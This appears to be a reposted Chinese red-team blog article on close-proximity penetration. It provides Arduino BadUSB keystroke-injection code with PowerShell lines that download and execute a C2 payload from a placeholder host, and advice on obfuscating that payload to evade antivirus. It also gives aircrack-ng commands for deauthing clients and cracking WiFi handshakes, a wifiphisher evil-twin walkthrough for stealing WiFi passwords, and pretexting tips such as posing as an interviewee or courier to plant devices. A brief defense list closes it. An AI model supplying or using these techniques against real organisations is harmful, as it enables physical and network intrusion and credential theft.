0x00 前言
在攻防演练中,突破边界是很重大的攻击成果,边界的定义包括网络边界、物理边界等,网络边界的防范主要依靠于边界安全设备,比如各类防火墙、入侵检测等安全设备。基于边界安全防护设备防范能力趋于成熟,攻击者很难突破网络边界。突破物理边界成为许多攻击者的备选攻击手法之一。
近源渗透是涉及到网络攻防+物理接近+社会工程学+无线通信的网络安全评估活动,开展近源渗透需要攻击人员通过伪装手段物理侵入到目标单位建筑的办公区域,攻击人员通过近源攻击快速进入目标内网办公区域,方法多样,成功率较高。本篇主要介绍badusb、wifi破解、wifi钓鱼及物理潜⼊的近源渗透手法。
0x01 Badusb
最初接触到Badusb时,还是在一部黑客军团的美剧中,只见到主人公向地上"不经意地"在停车场扔了很多的U盘,而这些即是Badusb,当受害者处于好奇捡起并插入"u盘"到电脑后,便会执行攻击者提前构造好的恶意代码。Badusb,比较出名的就是橡皮鸭,实质就是一块Arduino开发板,伪造成一个u盘,然后通过Arduino IDE烧录写好的代码去执行命令,其本质是去模拟键盘输入来执行命令。
准备工作
-
一个badusb的Arduino Leonardo开发板,用来伪装成u盘
-
Ardunio IDE,用来烧录Arduino代码
-
CS服务器,生成一个.ps1的马来上线(做一下免杀)
安装
在官网下载对应版本安装即可 https://www.arduino.cc/en/software
选择对应的开发板 Arduino Leonardo,然后会弹出对应的驱动安装,点击"是"即可下载驱动。
利用
一般使用Badusb时,要通过键盘输入上线到我们的C2,可以通过调用poweshell命令上线我们准备好的cs的powershell马
对于Powershell的免杀,可以通过Invoke-Obfuscation进行混淆
#include <Keyboard.h>
void setup()
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
//Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/main.ps1') ");
Keyboard.println("whoami");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("net user");
//Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/payload.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
}
void loop() {
}
![【红蓝对抗】如何进行近源渗透 【红蓝对抗】如何进行近源渗透]()
在实际环境中,可能会存在如下问题:
1.中文输入法切换问题,可以通过模拟KEY_CAPS_LOCK按键输出大写字符或者模拟模拟KEY_LEFT_SHIFT按键切换中文输入法
2.Arduino驱动安装问题,目标系统需要安装驱动才可运行
0x02 wifi破解
airodump-ng
准备工作
-
一张免驱无线网卡
-
kali
利用
查看可用的无线网卡 sudo airmon-ng
指定无线网卡开启监听模式 airmon-ng start wlan0
查看网卡是否开启监控 ifconfig
扫描附近的无线网络 sudo airodump-ng wlan0mon
BSSID :无线AP的硬件地址
PWR:信号强度,绝对值越小信号越强。值为负数
CH:无线网络信道
ENC:加密方式
ESSID:无线网络名
使用参数过滤扫描列表,确定扫描目标
使用命令:airodump-ng -w <扫描结果保存的文件名> -c <无线网络信道> --bssid <目标无线 AP 的硬件地址> <处于监听模式的网卡名称>
sudo airodump-ng -w output -c 11 --bssid E2:D7:74:C2:F9:44 wlan0mon
使用aireplay-ng 对目标wifi发起攻击
使用命令:aireplay-ng -<攻击模式> <攻击次数> -a <无线AP硬件地址> -c <用户设备硬件地址> <处于监听模式的网卡名称>
sudo aireplay-ng -0 2 -a E2:D7:74:C2:F9:44 -c 56:D1:E9:EB:EA:2F wlan0mon
发起攻击后,当airodump-ng 成功监听到了握手包,退出抓包后可以进行爆破。在桌面下生成了output-01.cap
使用aircrack-ng 暴力破解wifi密码
aircrack-ng -w 密码字典 <包含握手包的 cap 文件>
sudo aircrack-ng -w pass.txt output-01.cap
这里的密码还需要跟着实际情况去构造,成不成功主要取决于密码字典的强度。
0x03 wifi钓鱼
wifiphisher
准备工作
-
准备一个免驱无线网卡
-
kali
安装
在kali下执行 sudo apt install wifiphisher
安装即可
利用
sudo wifiphisher
然后会探测到周边的网络信号源,然后选择需要攻击的wifi(这里以手机热点MI11为例)
接着选择攻击模式,第一项"网络管理器连接":模拟wifi失败然后需要重新输入密码。
回车之后会自动跳转到以下
wifiphisher会发射一个与原wifi相同名称的wifi,如果用户想要重新连接该wifi,会弹出一个重新输入密码的页面。
如果点击取消会如下图所示,还是伪装的比较真实的。
当用户输入密码时 我们便通过这种wifi调用的方式得到了wifi密码
0x04 物理潜入
(以下内容纯属虚构,如有雷同,纯属巧合。)
在物理潜入时,携带电脑往往不是最好的选择,可以考虑一些开发板烧录成的kali系统。在未授权的情况下,可以通过伪装成公司面试者假借面试简历在u盘中,需要临时拷贝、打印,然后将实现构造好的badusb插入到办公电脑中,从而获取权限。也可以伪装成外卖小哥或者快递员的身份潜入到目标地点,然后尝试wifi攻击以连入目标内网,进行进一步的渗透。
0x05 防御
从甲方的角度来防御近源渗透,可以采取以下几个措施:
1. 加强内部员工管理
2. 加密通信
使用加密协议和技术保护网络通信的机密性和完整性,防止敏感数据在传输过程中被窃取或篡改。
3. 安全意识培训
对员工进行定期的安全教育和培训,提高安全意识。如邮件钓鱼、社会工程学等。
4. 监测内部异常活动,发现异常及时处置
部署流量审计、主机审计等,监测关键节点的网络连接和操作日志,保证对于攻击事件的全方位监测。
5. 采取多重验证机制。
如门禁系统、VPN登录等采用多重验证。
总之,要从管理、技术和教育等多个角度去构建全面系统的内部信息安全防御机制。
工具获取回复“burp”“awvs”“nessus”“ladon”"Forfity"等可以。
原文始发于微信公众号(WIN哥学安全):【红蓝对抗】如何进行近源渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论